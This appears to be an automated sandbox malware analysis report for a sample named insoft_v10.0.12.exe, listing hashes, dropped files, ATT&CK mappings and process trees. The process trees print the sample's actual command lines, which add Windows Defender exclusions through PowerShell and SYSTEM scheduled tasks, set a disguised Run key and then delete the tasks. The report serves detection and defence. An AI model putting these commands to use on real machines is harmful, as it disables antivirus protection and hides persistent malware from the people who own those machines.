Analysis
- max time kernel
147s - max time network
156s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
16/08/2026, 11:02
Static task
static1
Behavioral task
behavioral1
Sample
insoft_v10.0.12.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
insoft_v10.0.12.exe
Resource
win11ltsc2024-20260709-en
General
- Target insoft_v10.0.12.exe
- Size 35.0MB
- Sample260816-m5gn3ach33
- SHA256 123229fe4450b20ba76484e308a1963aab9b20bfd0f895020b53d5b6117a2de6
- MD5 77bdff3871d751fe4e430a3192dae57c
- SHA1 e88260ae209c112f668f95bcbee1cd927ffcd9e4
- SHA512 ecb54b22c4843c17b14f8228545a6fcc8ddc2ed46c2cb00b7e19eba28ac5324e2efc8b08947fa4da966e6e57bc2b14ff315f1df1521da1598a117e5b995cdcb8
- SSDEEP 196608:jQnmE+fMeDKqTnrT+B7A6Z6dSBqtiEPFNPL12V5pvUFgAe:MKJnGBr4Xu7vUU
- TLSH T17E87074ABB40CEE6E11A85B098A77B1163FEFD6147E1C30321C83B15DF1B29D4EA7598
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 4 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\csyFTF = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 5832 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 2868 bihEa2.exe 5884 bihEa2.exe - Loads dropped DLL 2 IoCs
pid Process 2868 bihEa2.exe 5884 bihEa2.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\csyFTF\\bihEa2.exe\"" bihEa2.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 2652 cmd.exe 928 cmd.exe 5324 cmd.exe 5860 cmd.exe 6084 cmd.exe - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b bihEa2.exe - Drops file in Program Files directory 2 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\zMsHhd bihEa2.exe File created C:\Program Files (x86)\zMsHhd\zMsHhd.exe bihEa2.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 3 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5728 cmd.exe 1800 cmd.exe 4184 cmd.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 460 schtasks.exe 5020 schtasks.exe 3780 schtasks.exe 1600 schtasks.exe 4544 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 4576 insoft_v10.0.12.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe 2868 bihEa2.exe - Suspicious behavior: LoadsDriver 6 IoCs
pid Process 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 5832 powershell.exe - Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2868 wrote to memory of 5832 2868 bihEa2.exe 93 PID 2868 wrote to memory of 2652 2868 bihEa2.exe 95 PID 2652 wrote to memory of 3780 2652 cmd.exe 97 PID 2652 wrote to memory of 5312 2652 cmd.exe 98 PID 2868 wrote to memory of 928 2868 bihEa2.exe 99 PID 2868 wrote to memory of 5324 2868 bihEa2.exe 103 PID 928 wrote to memory of 1600 928 cmd.exe 105 PID 2652 wrote to memory of 5740 2652 cmd.exe 106 PID 928 wrote to memory of 3436 928 cmd.exe 108 PID 5324 wrote to memory of 4544 5324 cmd.exe 109 PID 928 wrote to memory of 3952 928 cmd.exe 111 PID 2868 wrote to memory of 5860 2868 bihEa2.exe 112 PID 5324 wrote to memory of 1488 5324 cmd.exe 114 PID 5860 wrote to memory of 460 5860 cmd.exe 115 PID 5324 wrote to memory of 6104 5324 cmd.exe 118 PID 5860 wrote to memory of 3540 5860 cmd.exe 119 PID 2868 wrote to memory of 6084 2868 bihEa2.exe 120 PID 5860 wrote to memory of 5772 5860 cmd.exe 122 PID 5728 wrote to memory of 5028 5728 cmd.exe 123 PID 1800 wrote to memory of 3480 1800 cmd.exe 124 PID 6084 wrote to memory of 5020 6084 cmd.exe 125 PID 6084 wrote to memory of 2364 6084 cmd.exe 126 PID 6084 wrote to memory of 2012 6084 cmd.exe 128 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\insoft_v10.0.12.exe"C:\Users\Admin\AppData\Local\Temp\insoft_v10.0.12.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
PID:4576
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C:\Users\Public\csyFTF\bihEa2.exe"C:\Users\Public\csyFTF\bihEa2.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2868 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:5832
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\csyFTF\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2652 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\csyFTF\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3780
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5312
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5740
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:928 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1600
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3436
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3952
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5324 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4544
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1488
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:6104
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5860 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:460
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3540
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5772
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:6084 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5020
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2364
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2012
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C:\Users\Public\csyFTF\bihEa2.exe"C:\Users\Public\csyFTF\bihEa2.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5884
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\csyFTF" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5728 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\csyFTF" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5028
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C:\Windows\system32\cmd.execmd.exe1⤵PID:1248
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1800 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3480
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:4184 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵PID:5720
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Public\csyFTF\UxEnhance64.dll
- Size 3.1MB
- SHA256 c10177d659c56a44b1f7954464d18c3ef174717d6ef2895dfbf32ba99af0e9e3
- MD5 c8e9fe9970c2538649cbc00c9c17f20c
- SHA1 0e478f9c943ec7f739121479156a33ab11cfef3b
- SHA512 be01fe3c2a97f25e40b845f65801e0be74912453f353e45c3b49967f09615f33e986b526c1bdc1364749196eaad0c49c5dc59de79e14a88d1fadef1a1dfcae01
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+2:P9m29xx3Tiqt06ox6+z2rNNrKo2
- TLSH T198E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\csyFTF\adoresd.dat
- Size 4.7MB
- SHA256 fbc52aeaebe44052e7b09e78963cb89e9af93c13f846878ef7e7d7cb766cdd63
- MD5 4b637e48af053cde66c2e1ad273d67b9
- SHA1 eb5385eeadb87015cb1bf7169a6138a2f3096735
- SHA512 b6ee1e9ed6ec1b029ad748d951acfb124cf493c6ee3a369cfe5fbdbdd7ec19d75ec761930e98db6a805e127de39a5c5a659e16aa1096a8a634f7ed71b44ef6f6
- SSDEEP 98304:uKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:uKClqhi0Cv54K2IVS0VQg
- TLSH T1B93633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\csyFTF\bihEa2.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\csyFTF\msadox.tb
- Size 8KB
- SHA256 080c7d08e87f81018a57125c4472e9b5f57b353c9ac5fa40b88c2bccbe161458
- MD5 25ab963bcf7e8e71a1e24e6f41a466e0
- SHA1 ac0b0f538a267bd33cf39d473b3fc447002fa77f
- SHA512 819a2b829bb25c47aea53f6b3e5c14a3cecff70b17b20b742febf2bea83b32d1cfce9153e37664e8c819c69ae794c1ba46f7951943096cadbaccf73727aec25f
- SSDEEP 192:cqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:csZqZOXQ3uqvR2Kfzp
- TLSH T156029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH